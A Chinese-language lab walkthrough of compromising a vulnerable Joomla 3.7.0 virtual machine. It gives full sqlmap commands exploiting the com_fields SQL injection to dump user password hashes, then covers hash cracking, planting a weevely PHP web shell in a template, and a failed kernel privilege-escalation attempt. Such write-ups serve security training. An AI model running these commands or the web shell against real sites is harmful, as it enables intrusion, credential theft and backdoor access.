第一步、靶机安装与主机发现

我们打开靶机,首先设置.nat连接,然后打开kali攻击机

使用nmap进行二层主机发现

1
nmap -sn 192.168.153.1/24

第二步、端口扫描与信息收集

使用nmap进行简单的系统版本检测扫描。

1
nmap -sV 192.168.153.153

发现80端口开放且运行Apache服务。

我们网页访问IP的80端口

使用Wappalyzer进行指纹识别,发现使用的Joomla系统建站。

第三步、joomscan扫描

​ OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告

不知道为什么,我的kali里好像没有这个工具。。。

我们从github上根据教程安装下载后。使用命令检测joomla的相关配置

1
perl joomscan.pl -u http://192.168.153.153

我们得到了该Joomla的具体版本号为3.7.0.

第四步、searchsploit工具查找漏洞

使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞。

发现存在一个sql注入漏洞。

我们将该漏洞文档复制到根目录下,然后打开。

1
2
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla-sql.txt
cat joomla-sql.txt

文档中给出了sqlmap自动注入的payload.

第五步、sqlmap自动注入

使用sqlmap自动注入工具对靶机执行sql注入代码。

  • 查询所有数据库:
1
sqlmap -u "http://192.168.153.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查询当前使用数据库:

1
sqlmap -u "http://192.168.153.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

查询joomladb数据库下的表:

1
sqlmap -u "http://192.168.153.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]

我们判断users表中应该有我们想要的账号密码,查询该表中的列:

1
sqlmap -u "http://192.168.153.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

最后我们输出name,password的信息:

1
sqlmap  -u "http://192.168.153.153/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

第六步、后台反弹getshell

我们首先利用使用john爆破hash值:snoopy

使用dirsearch扫出后台文件

进入后台登录页面并登录

选择Templates模板,选择templates第一个模板即可,

用weevely生成php后门文件.

复制代码新建webshell.php文件,粘贴代码,保存

然后用weevely连,成功拿到shell.

第七步、提权

​ 使用uname命令可知系统内核

Ubuntu 16.04,我们可以尝试使用kali自带的earchsploit工具查找Ubuntu 16.04的提权漏洞。

我们将这个漏洞的详细文件复制到root根目录下,然后查看

我们将exp下载下来然后经过一系列的解压后

1
2
3
4
5
6
7
unzip 39772.zip 

cd 39772

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

依次执行./compile.sh

​ ./doubleput

但是不知道为什么一直没法成功。。。。。